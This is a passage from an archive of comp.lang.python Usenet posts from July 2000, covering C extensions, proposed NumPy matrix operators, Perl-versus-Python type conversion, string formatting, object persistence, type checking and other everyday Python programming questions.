> 
> 

  I could be wrong, but I'm under the strong impression that the term
"automagic" is thrown around repeatedly as a description of Perl's
behavior in Programming Perl.  Does that make Larry Wall a disgrace to
the language he invented?

  Joshua


From paul at prescod.net  Sun Jul 23 02:35:20 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:35:20 -0500
Subject: Extend/Embed Python Method table Dispatcher
References: <8l85e1$eti$1@nnrp1.deja.com>
Message-ID: <397A9228.5382409C@prescod.net>

heath7952 at my-deja.com wrote:
> 
> Dear All,
> 
> I am extending Python with my own C functions. I would like be able to
> share one C function amongst different extended commands. Here's a
> little pseudo example.

How about this:

static PyMethodDef my_methods[] = {
   {"do_stuff",     (PyCFunction)Python_Embed::fnDoStuff1, METH_VARARGS,
dostuff__doc__   },
  {"do_stuff2",    (PyCFunction)Python_Embed::fnDoStuff2, METH_VARARGS,
dostuff2__doc__   },
  {NULL,           NULL}
};
 
PyObject* fnDoStuff(int what, PyObject* self, PyObject* args)
{
 
     switch(who called me)
        case do_stuff:
           do something
        break;
 
        case do_stuff2
           do something different.
        break;
 
}

PyObject* fnDoStuff1(PyObject* self, PyObject* args)
{
   fnDoStuff( 1, self, args )
}

PyObject* fnDoStuff2(PyObject* self, PyObject* args)
{
   fnDoStuff( 2, self, args )
}

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From hzhu at users.sourceforge.net  Fri Jul 28 18:51:04 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Fri, 28 Jul 2000 22:51:04 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr>
Message-ID: <slrn8o43q5.1cq.hzhu@rocket.knowledgetrack.com>

On 26 Jul 2000 11:18:25 +0200, Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:
>
>With the ongoing rework of NumPy that turns arrays into Python classes
>with an underlying C implementation, it would be possible to have an
>"array" and a "matrix" class with different semantics, but sharing
>most of the code and having equal performance. Conversion between the
>two would also be possible at basically no cost, and C modules could
>be written to accept both.

The conversion between MatPy matrix and NumPy array is already quite easy,
even though MatPy currently interact with the C code only through NumPy.

I have an idea for the new NumPy development that I've put forward to
Travis. It may take more effort up front, but it would give greater instant
grtification to developers, thereby attracting more of them.  It is this:

Write the planned numpy2 as a wrapper class over existing numpy, just as
matpy is doing right now.  This wrapper class would be a working model that
defines the future multiarray interface.  This shouldn't be difficult
because it would be largely one-liners with docstrings.

Once this is done, we can substitute the underlying implementation with the
new C code "under the hood", one piece at a time.

The advantages are:
1. There is already something working, so any new code can be easily verified.
2. The developers would have a far better idea of what the future look like.
3. More developers could join because the tasks are in smaller chunks.
4. The design of interface is decoupled from the design of implementation.

>Having two different classes with different semantics is perfectly
>normal in Python. It would only be a problem if there were important
>application domains that require both semantics mixed together, but I
>am not aware of such domains.

This is why I'd prefer retaining the current situation where NumPy and MatPy
assigning oposite meaning to * as elementwise or matrix multiplication.  The
new operators would not cause any inconvenience to existing users.  They
only provide some syntactic sugar to rid NumPy of matrixmultiply(a,b) and
MatPy of a.__dotmul__(b).  Indeed they are needed where both operations are
intermixed.  I've encountered them quite often.  For example, the main
operation maybe linear algebra, but the matrices are assembled by
elementwise operations.

Huaiyu


From alex at magenta.com  Fri Jul 28 12:57:33 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 18:57:33 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com>
Message-ID: <8lse9j01oti@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o397m.3ok.grey at teleute.rpglink.com...
    [snip]
> @names = ("Bob","Bob","Bob","Robert Paulson");
> @occupation = ("Uncle","Uncle","Uncle","Mayhem");
> $index = 0;
> foreach $name (@names){
>   $done = 0;
>   $x = 0;
>   while (!$done){
>     if ($members{$name.$x}){
>       $x++
>       next;
>     }
>     else{
>       $members{$name.$x} = $occupation[$index];
>     }
>   }
> }
>
>     Your argument completely ignores cases like the above, doesn't it?
Where
> you want to have a counter incremented (math function) but need to use it
in a
> string constantly.  Simplistic example, yes, but a valid one.  Why force
the
> programmer to do constant switching to do such a simple thing?

You have not been very explicit about the structure of '%members', but it
seems to be a hash indexed by a string, which in turn is made up of a name
which is concatenated with digits to make it unique.  (There also seems to
be some problems with $index, which is never incremented, and $done,
which is never set -- not clear what parts you have omitted).  But, back to
%members...:
Why organize it like that, rather than just index it directly with a
(name,number)
pair?  Presumably, because Perl cannot use a pair as an index, but wants a
scalar?  But that's no problem in Python, so (guessing at your snipped
parts):

members = {}
names = ["Bob","Bob","Bob","Robert Paulson"]
occupation = ["Uncle","Uncle","Uncle","Mayhem"]
for name, occ in zip(names,occupation):
    x=0
    while members.has_key((name,x)):
        x=x+1
    members[(name,x)] = occ

Making members into a dictionary _of lists_ seems another quite plausible
organization, changing the loop's body to:
    if members.has_key(name):
        members[name].append(occ)
    else:
        members[name]=[occ]
or (a matter of style):
    try:
        members[name].append(occ)
    except KeyError:
        members[name]=[occ]

But, assuming the use of the original data organization is externally
mandated, it's not too bad anyway, e.g.:
    x=0
    while members.has_key("%s%d"%(name,x)):
        x=x+1
    members["%s%d"%(name,x)] = occ

i.e., basically the same structure as if we were (more directly) using
the (name,x) pair as the index, except that, as per external mandate,
we turn that pair into a single string by using
    "%s%d" % (name,x)
wherever, in a more natural organization, we would instead use
    (name,x)
directly.

There are, of course, other ways to turn a string and a number into
a single string, but the % operator has the advantage of being
easily tailorable -- if whatever external agent is currently imposing
the strange "%s%d" format changes its mind and imposes an
even stranger "_%d_%s" or whatever, you're maximally prepared:
just the formatting-string itself changes, exactly as it should be
(in fact, you can take the formatting-string as an argument, &c).

You appear to focus on
    name+str(x)
as the canonical way to do what you're after, and it may be more
readable than format%(name,x), though never quite as much as
just the
    (name,x)
pair itself.  OK, whatever.  But surely having to match an externally
mandated format, if it's a frequent occurrence in your application
domain, happens with all sorts of oddball formats, not just the
simple "%s%d" one, no?  And there are no substantial cases, that
I can think of, to need this specific ability (apply the specific
"%s%d" format), in enough numbers to warrant special-casing.
Absent externally mandated formats, you'll be using the pair in
a most direct way (or imply it by moving to a more natural data
organization, such as a dictionary containing lists).


>     Exactly my point.  I don't like it but I'm not asking for it to be
> changed.  I'm just a little tired, in all of what, two days, of people
putting
> down another language for doing something which /they/ consider wrong.  I

Two days?  It must be _at least_ 20 years that people on Usenet are
putting down other languages (and operating systems, applications,
computers, etc) for what they consider wrong.  Would you have us put
them down for what we consider _right_?-)

You're the one that claims that Perl's concept of 'scalar' &c is OK because
that's the way human beings think.  Well, I have news for you: human beings
just love to squabble about anything and everything; we *ARE* primates,
after all, and why should we be any less quarrelsome than any baboon
troop...?!-)

> consider it wrong in Python not because I'd like to see different, but
because
> I was told Python doesn't have that ambiguity when it does, that it
doesn't do
> conversion, when it does, that it doesn't do things "automagically" when
it
> does.  I'm pointing out that it is just as ambiguious in its own way and
that
> I personally consider it wrong but, as I stated in one message, I will
learn
> to use that.

I think most responders strove to show that there is no ambiguity, no
(implicit or silent) conversion, no automagic, where you are deeply
convinced that there is each of these.  Your being convinced or otherwise,
of course, makes no difference to anything except yourself, and, in fact,
it *IS* true that very specific cases have been identified where some
conversion can happen AND lose significant information (I was the one
pointing out the long interger -> float case).

That Python has this specific wart does not mean that a language that
has analogous and worse ones in a thousand places is just the same,
of course:-).


Alex





From stephen at cerebralmaelstrom.com  Wed Jul  5 13:46:35 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Wed, 05 Jul 2000 17:46:35 GMT
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com> <XuK85.115473$WS3.978541@typhoon.we.rr.com>
Message-ID: <%vK85.115476$WS3.978721@typhoon.we.rr.com>

Oops. Replace my %s's with %d's.

--S


Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
news:XuK85.115473$WS3.978541 at typhoon.we.rr.com...
> I *think*...
> Print is a statement that lets you print out multiple things using the
> comma, the 'write' function does not work the same way. It takes a string
> argument and writes it out to the file.
>
> To accomplish what you want, you can use the module operator (there's
other
> ways too, but its my favorite :))
>
> number = 100
> print "Number = %s" % number
> OUT = open("TT.txt",'w')
> OUT.write("Number = %s" % number)
> OUT.close()
>
> If you have more then one number you're writing out, make the
right-operand
> of the modulo operator a tuple.. E.g.
>
> num1 = 100
> num2 = 500
> print "Number 1 = %s and Number 2 = %s" % (num1,num2)
>
> See? :)
>
> --Stephen
>
>
>
> <cmfinlay at SPAMmagnet.com.au> wrote in message
> news:tzFjOfN2zOzPHwvl3ncklEAEb+fa at 4ax.com...
> > number = 100
> > print "Number =", number
> > OUT = open("TT.txt","w")
> > OUT.write("Number =", number) # Error
> > OUT.close()
> >
> > The code above gives the error.
> >
> > Traceback (innermost last):
> >   File "ttest.py", line 5, in ?
> >     OUT.write("Number =", number)
> > TypeError: read-only buffer, tuple
> >
> > OUT.write("Hello World")
> >
> > Works but a number or variable of a number does not.
> >
> > I have been reading documents on Python to no avail this time.
> > I am using Win98 with the latest python for this OS.
> >
> > Any help would be much appreciated
> > E-mail me at cmfinlaySPAM at magnet.com.au
> > or reply here.
>
>




From fermigier at localhost.localdomain  Fri Jul  7 06:30:56 2000
From: fermigier at localhost.localdomain (fermigier)
Date: 7 Jul 2000 12:30:56 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <8k2ieg$5mg$1@localhost.localdomain> <bln1juwtua.fsf@bitdiddle.concentric.net>
Message-ID: <8k4bh0$f20$1@localhost.localdomain>

In article <bln1juwtua.fsf at bitdiddle.concentric.net>,
Jeremy Hylton  <jeremy at beopen.com> wrote:
>fermigier at localhost.localdomain (fermigier) writes:
>
>> I've just read this announcement in Linux Weekly News today:
>> 
>> ``The Poop on persistence (PerlNews). Perl News talks about two new
>> mailing lists for Perl Object Oriented Persistence (Poop). This is an
>> effort to encourage communication between module authors and to address
>> redundant object persistence issues.  Also read about the latest Perl
>> modules.'' (Ref: http://news.perl.org/).
>> 
>> Is there an opportunity to start such a discussion, or at least to gather
>> the solutions that have been developped for Python (and compare them to
>> their Perl/Java counterparts) ?
>
>The two Python solutions that come to mind are the pickle and cPickle
>modules, which just allow you to save and restore Python objects, and
>ZODB, a full-fledged object database from Digital Creations:
>
>http://www.python.org/workshops/2000-01/proceedings/papers/fulton/zodb3.html
>http://www.python.org/workshops/2000-01/proceedings/papers/fulton/fulton-zodb3.pdf
>
>If you are willing to compare these with Perl or Java approaches, I'd
>be interested to hear what you think.

Perl: 
-----

I'm really not much of a perl-head, so I don't have a clue about what's
going on in the perl community. The only project I know so far is Tangram:

http://tangram-persistence.org/
http://www.webtechniques.com/archives/2000/03/jepson/

Java: 
-----

I'm thinking about Jora, the Java Object Relational Adapter
(http://www.ispras.ru/~knizhnik/) and Castor (http://castor.exolab.org/).
Castor is a very nice and complete product, it seems from the feature list:

   * Castor XML: Java object to XML document
   * Castor JDO: Java object persistence to RDBMS
   * Castor DAX: Java object persistence to LDAP
   * Castor DSML: LDAP directory exchange through XML
   * XML-based mapping file specify the mapping between one model and
   another
   * Support for schema-less Java to XML binding
   * In memory caching and write-at-commit reduces JDBC operations
   * Two phase commit transactions, object rollback and deadlock
   detection
   * OQL query mapping to SQL queries
   * EJB container managed persistence provider for OpenEJB

These are the two free software projects I know of, I guess there are
hundreds of commercial projects as well.
   
Python: 
-------

- The Zike project (zike.sourceforge.org) has the ZDC: ``The Zike Data
Classes provide high-level objects for dealing with records in relational
databases. Built on top of the Python DB-API 2.0.''

- There was Joel Shprentz's ``Persistent Storage of Python Objects in
Relational Databases'':

http://www.python.org/workshops/1997-10/proceedings/shprentz.html
http://starship.python.net/crew/shprentz/1997.html

I have seen other products/projects but i can't remember them at the
present.

	S.

-- 
St?fane Fermigier, <www.fermigier.com>


From paul at prescod.net  Thu Jul 20 17:25:37 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 16:25:37 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net> <kBJd5.35887$6y5.24003017@news2.rdc2.tx.home.com>
Message-ID: <39776E51.1303E675@prescod.net>

Rainer Deyke wrote:
> 
> > "CheckTarget-<calcangles>-Steer-IfCloserThanX-Detonate". The script knows
> > how toget closer to what it wants - but does so not my reall playing god
> and
> > moving the missile, but just setting off a command "Steer" that tells the
> > physics engine "ThrustvectorAngleChange (angles)"... This is unlike the
> > scripts in the Quake engines that allow to do unrealistic things - in my
> > project, each script can only do what is physically possible - otherwise,
> > the missile will crash or the tank will tip over in a curve.
> 
> This type of thing is possible in Python.  To prevent the script from doing
> something naughty, override __builtins__.

I'm not sure what you're talking about there. How can Python code
override the physics in code written in C? __builtins__ doesn't help!

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From bjorn at roguewave.com.bbs  Sun Jul 16 13:40:02 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 16 Jul 2000 17:40:02 GMT
Subject: Does Python code >.require<< a run-time environment?? (New toPyth
Message-ID: <3bQUT2$mHs@openbazaar.net>

Paul Prescod wrote:

> Gordon McMillan wrote:
> >
> > ...
> > > For Python, you want to look
> > >at
> > >
> > >http://starship.python.net/crew/gmcm/distribute.html
> > >
> > >For Java, at "jexegen.exe".
> >
> > Sorry, Paul, the latter does not bundle in the interpreter. It just
> > packages up byte code and uses a small exe to start your MS JVM.
>
> True, I forgot that because the MS JVM tends to be installed. I think I
> may have exaggerated the features of the former too. Is there any easy
> way to make a single executable for Python, the standard library,
> required .pyd's and your code? My vague impression is that you could if
> you had a compiler and the source for your pyd's, or else you could fall
> back on an installer (rather than a single big runnable app).

Nah, I distribute my xml scripts as windows .exe files all the time
(including the expat dll).  It's actually quite trivial since the builder
only wraps everything into a zip archive and appends it to the special
Python executable.

-- bjorn


From etiennel at geospace.co.za.bbs  Mon Jul 17 04:20:02 2000
From: etiennel at geospace.co.za.bbs (etiennel at geospace.co.za.bbs)
Date: 17 Jul 2000 08:20:02 GMT
Subject: Memory leak problems with python and COM
Message-ID: <3bR5P1$kjp@openbazaar.net>

Hi there

To my embarrasment I found that I am still using Python build 129 and that I
(somehow) missed the release of build 131!

Anyway, build 131 solved the problem!

Thanks for your help.

Regards
Etienne

"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:8klbu9$38u$1 at nnrp1.deja.com...
> In article <963474833.835936 at proxy.lia.net>,
>   "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
> > Deleted a and b on the python side and then destroying the COM
> server - that
> > doesn't clear up the memory. I am using SafeArrayAccessData and
> > SafeArrayUnlock on the server side to make sure that it releases the
> data on
> > the server side.
> >
> > Is there something else that I must do?
>
> I suggest you get the latest CVS version (I realize this may be a
> PITA :-(  Since build 132, a number of leaks have been fixed.  There is
> a very good chance that this particular leak was plugged previously.
>
> If not, I will definately look into this and plug it!
>
> Mark.
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From robin at jessikat.fsnet.co.uk  Thu Jul 20 12:06:03 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 17:06:03 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
 <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
Message-ID: <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk>

In article <39771CA8.A1BF8D6E at fft.be>, Gregory Lielens
<gregory.lielens at fft.be> writes
>Robin Becker wrote:
...
well outer products are just a special kind of multiplication as far as
I know.

We have three common multiplies for matrices and I claim that n vectors
are n by 1 matrices.  I agree that for higher order tensors the outer
product is more complicated, but see 

        http://mathworld.wolfram.com/TensorDirectProduct.html

the kronecker product is also called the matrix direct product


A ox B = [a11 B a12 B]
         [a12 B a22 B]

seems to me to be like a tensor outer product; but I ain't no
mathematician ;)

the lie product (or bracket) has applications in sensitivity analysis
and other more exotic stuff in differential geometry

[A,B] = AB - BA
-- 
Robin Becker


From rwallace at esatclear.ie  Mon Jul 31 23:25:57 2000
From: rwallace at esatclear.ie (Russell Wallace)
Date: Tue, 01 Aug 2000 04:25:57 +0100
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net> <397F382E.196DE01@sage.att.com>
Message-ID: <39864345.C94@esatclear.ie>

Garry Hodgson wrote:
> either of these is poor code.  how about having the names reflect usage,
> which is arguably more relevant than type?
> 
>         def ComputeSalary( employeeID, salary, employee )
> 
> (my salary is very complex :-)

What, you get paid imaginary money? :)

-- 
"To summarize the summary of the summary: people are a problem."
Russell Wallace
mailto:rwallace at esatclear.ie
http://www.esatclear.ie/~rwallace


From cbbrowne at news.hex.net  Mon Jul 17 21:29:16 2000
From: cbbrowne at news.hex.net (Christopher Browne)
Date: Tue, 18 Jul 2000 01:29:16 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net>
Message-ID: <MpOc5.328781$MB.5443748@news6.giganews.com>

Centuries ago, Nostradamus foresaw a time when Paul Prescod would say: 
>Huaiyu Zhu wrote:
>> ...
>> As to the claim that additional operators for linear algebra is
>> somehow comparable to the special syntaxes/quirks of various
>> programming languages, no real argument has been presented so far. 
>
>Okay, then, let me try.
>
>> It's more like: If I don't care
>> and don't use such things, they must belong to a special domain and be
>> somehow comparable to some other things that I do know and dislike.
>
>Let me rephrase: "If MOST Python programmers don't care and don't use
>such things, they must belong to a special domain." I think that's a
>good operative definition of "domain specific". That's the crux of the
>argument. Don't throw complex numbers back in my face because they
>required *minimal new syntax*. There is already more "extra" syntax in
>the language for matrices than for complex numbers.
>
>I don't know why you have the impression that matrix operators have
>been compared to anything that people dislike. Most people have compared
>them to things that they *do* like, but must do through function syntax
>because Python doesn't pander to my particular needs or your particular
>needs, but rather those of most average programmers. I like XML 
>processing and I daresay there are more books sold on it than on 
>Matlab. But I've never asked for special, XML-specific syntax.
>
>Maybe you should consider how to scale back your syntactic request.
>Perhaps a single keyword or symbol at the beginning of an expression
>could make it element-wise or matrix-wise.

Another approach would be to create some form of "macro rewriting"
system that would allow you to feed in expressions in some
_descriptive_ form that would then rewrite this into (possibly
optimized) Python that would execute this.

By far the best comparison I can think of is the Common Lisp "Series"
implementation, findable at <http://series.sourceforge.net/>.

CL Series provides a "language" in which you can represent sequential
descriptions; it is described thus:

 "A series is a data structure much like a sequence, with similar
  kinds of operations. The difference is that in many situations,
  operations on series may be composed functionally and yet execute
  iteratively, without the need to construct intermediate series
  values explicitly. In this manner, series provide both the clarity
  of a functional programming style and the efficiency of an iterative
  programming style."

CL uses macro expansion to expand these into CL expressions, and this
expansion includes significant optimizations based on pipelining the
generation of series elements.  You might compose several series
together, and the final result will be computed in an optimized
(perhaps optimal) manner.

The result is that you write your original code using a _descriptive_
series representation, and the system rewrites that into code that
_performs_ the series operations.  

I would think the extension to what would be done in Python to be
"obvious;" the "Matrix Math" package would accept input in a modified
Python syntax that supports its matrix operators, and then rewrites
this to generate Python code that either:
  a) Expresses it iteratively, in Python form, or
  b) Expresses it using some compiled extensions that can make it Real
     Fast.
-- 
cbbrowne at hex.net - <http://www.hex.net/~cbbrowne/>
Necessity  is the  mother  of  invention. Insanity  is  the mother  of
straitjackets.


From hopper at omnifarious.mn.org  Tue Jul 18 11:29:31 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Tue, 18 Jul 2000 09:29:31 -0600
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net>
Message-ID: <fRZc5.1487$6E.293353@ptah.visi.com>

In article <397296BC.415C97E1 at prescod.net>, Paul Prescod
<paul at prescod.net> wrote:
> Matthew Cline wrote:
>> 
>>   def my_func(foo, bar, quux):
>>      if not isinstance(quux, Quux):
>>         raise RuntimeError("param 'quux' must be of class 'Quux'")
> 
> Let me also point out that in many cases, this style of programming
> would be frowned upon by serious Python programmers. For instance, if
> you check that something is a string, your code will complain when it is
> handed a Unicode string, even though it would probably work fine. If you
> check that it is an open file, then your code probably will complain
> about stringIO file-like objects, even though it would probably work
> fine. If you check that it is an integer, your code will complain about
> integers, even though ti would probably work fine.
> 
> In general, the Python philosophy is to "just try it" and see if it
> works. Sometimes type checks are appropriate but if you do it on the
> entry to every function, you are probably doing too much work and making
> your own life (or someone else's) harder later on.

Oh, yes.  Inheritance by mysteriously coiniciding method names.  How fun.

Actually, I'm going to write a type checking function that throws a
coherent exception when the type of the argument fails to be a particular
type.  I'll probably put in some specialized checks for the built in types
so it'll accept things that are objects of those types, or derived from
the User<class> version.  It'd be nice if Python had lisp-like macros, but
they aren't necessary.

My problem is this:

Just accepting any old type, and letting it error out when it tries to
access a non-existent attribute is very confusing for people trying to use
your code.  Heck, maybe you store away their object, and then call the
offending method at some random later point.  I bet it'd be a heck of a
lot of fun to try to trace down why the exception happened then.

Type checking and the scoping rules are the only two problems I have with
Python so far.  Other than that, it's a wondefrul language.

--
Eric Hopper  (hopper at omnifarious.mn.org, http://www.omnifarious.org/~hopper)



From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 02:44:34 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 06:44:34 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975EF36.1651C9CB@roguewave.com> <8l52re$tbe$1@nntp9.atl.mindspring.net> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net>
Message-ID: <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>

Aahz Maruch wrote in comp.lang.python:
> I think I was insufficiently clear: in addition to "zip" having a known
> meaning, it does not have any connotation in computer terms of combining
> data that I've ever seen.  Yeah, if you want to call it "zipper", I
> might almost see your point.

The function zip as proposed (combine two lists into a list of pairs)
is straight from Haskell (and other functional languages) just like map
and filter. I think zip is the obvious name.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
-rwxr-xr-x  1 root  5.89824e37 Oct 22  1990 /usr/bin/emacs [STR]


From fiona at sitegnome.com  Thu Jul  6 07:54:59 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 6 Jul 2000 11:54:59 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 6th, 2000
Message-ID: <20000706115459.24950.qmail@synop.com>

Hi Guys!

Below are the latest entries to be entered into http://python.faqts.com

For those of you that missed my announcement earlier today:

"Many thanks to Hans Nowak for providing FAQTs with his collection of
snippets for entry into http://python.faqts.com.

They can be found directly at

http://www.faqts.com/knowledge-base/index.phtml/fid/538/lang/en

The knowledge base now contains greater than 653 questions with 
answers!!"

Cheers, Fiona Czuczman

Todays new entries include:

How do I convert a string to hex?
How can I convert a hex number to a string?
Is it possible (on Win) to send commands to a DDE server (in my case it 
is ACDSee.exe) from python?
How can I control input and output to the screen other than the print 
command?


## Unanswered Questions ########################################


-------------------------------------------------------------
Why is some strange charachters appearing  instead of norwegian charachters in GUI of pythonwin build 132
http://www.faqts.com/knowledge-base/view.phtml/aid/4590
-------------------------------------------------------------
Nils Otto Johansen



## New Entries #################################################


-------------------------------------------------------------
How do I convert a string to hex?
http://www.faqts.com/knowledge-base/view.phtml/aid/4591
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

import string
b = "6b584"
i=string.atoi(b,16)
print hex(i)

0x6b584


-------------------------------------------------------------
How can I convert a hex number to a string?
http://www.faqts.com/knowledge-base/view.phtml/aid/4592
-------------------------------------------------------------
Fiona Czuczman
Remco Gerlich

x = 0x26100     
y = "0x%x" % x  # String formatting "%x" formatter makes hex numbers

y is now "0x26100".


-------------------------------------------------------------
Is it possible (on Win) to send commands to a DDE server (in my case it is ACDSee.exe) from python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4593
-------------------------------------------------------------
Fiona Czuczman
Jean-Francois Richard

Download pythonwin and look into the win32/demos/dde directory. There is 
a sample of a dde client and server.


-------------------------------------------------------------
How can I control input and output to the screen other than the print command?
http://www.faqts.com/knowledge-base/view.phtml/aid/4594
-------------------------------------------------------------
Fiona Czuczman
Grant Edwards

There are two modules that provide that sort of thing:

  curses (uses curses)
  snack  (uses newt/slang)

I think you can find the curses module in the usual places
(www.python.org).

The docs for snack/newt are pretty skimpy.  It comes with RH, and there 
are some example programs in the newt distribution. I don't know if it's 
current, but you can get version 0.50 it from my ftp site:

  ftp://ftp.visi.com/users/grante/stuff/newt-0.50.tar.gz






From david_ullrich at my-deja.com  Tue Jul 18 11:04:07 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Tue, 18 Jul 2000 15:04:07 GMT
Subject: newbie unimpressed...
References: <3bRWfQ$lHg@openbazaar.net>
Message-ID: <8l1rkp$q28$1@nnrp1.deja.com>

In article <3bRWfQ$lHg at openbazaar.net>,
  theebh at yahoo.com.bbs@openbazaar.net (Jonathan) wrote:
> In article <8kvp81$9q1$1 at nnrp1.deja.com>,
>   sharkey3 at my-deja.com wrote:
> > I have much experience in tcl and perl, and I have finally found a
> good
> > project to learn python with.  Unfortunately, I am very frustrated
so
> > far with the language.  Although maybe it's just with the
> documentation.
> >
> > I'm serious.  The documentation really sucks.
> > Example:  where is the % operator documented for strings?
> >
>
> I'm a newbie myself and i happen to come across those formatting
> operators while reading the "Learning Python" book. Grab a copy of it;
> though it's not a reference book, at least it gives you an overall
idea.

    Or a person could just look at the docs. In the index
you see "Builtin Types" towards the top. You don't see
"string" there at first - then you notice a subheading
"More String Operations" under "Sequence Types". You
go to More String Operations and the first thing you
see is a description of how "%" works for strings.

> regards,
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Fri Jul 28 14:07:33 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 18:07:33 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <3981C210.8F0D0908@sage.att.com>
Message-ID: <slrn8o3ir1.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 17:25:36 GMT, Garry Hodgson <garry at sage.att.com> wrote:
>you can see that because you are smarter than my computer.

    And so can the designers of the language and they can code the steps to
get there, just as they have coded the steps for everything else.

>the system can't know which i intended, so it makes be specify.
>it is much easier to say, "yes, i meant that" by adding a cast,
>than to debug an errant program, possibly years later.

    I find the reverse true, esp. when one understands the rules under which
conversion might take place.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From borlak at home.com  Wed Jul 26 11:55:00 2000
From: borlak at home.com (Michael Morrison)
Date: Wed, 26 Jul 2000 15:55:00 GMT
Subject: File saving on unix::permissions
Message-ID: <oRDf5.46611$6y5.30240688@news2.rdc2.tx.home.com>

Okay, I've tried just about everything I can think of and have come up with
no solutions.

The problem is, I have this account on a unix shell named "python".  When I
open/create
a file with a python script, it saves under the user "nobody" and has no
write permission,
so when I try to modify/save the same file with the same script under the
same account
later, it just erases all the information in the file or does other wierd
stuff.

Is there some procedure to make your script detect, or write under the
user/account that
is calling it?

Thanks...





From amk at mira.erols.com  Sat Jul 15 16:28:45 2000
From: amk at mira.erols.com (A.M. Kuchling)
Date: 15 Jul 2000 20:28:45 GMT
Subject: Anyone going to OLS?
Message-ID: <slrn8n1j03.i4.amk@207-172-113-121.s121.tnt5.ann.va.dialup.rcn.com>

While lots of people will be at the O'Reilly conference next week, 
I'm being contrarian and going to the Ottawa Linux Symposium instead.
Any other Pythoneers going to be there?

--amk


From m.faassen at vet.uu.nl  Sun Jul 30 17:25:10 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:25:10 GMT
Subject: Perl is worse!
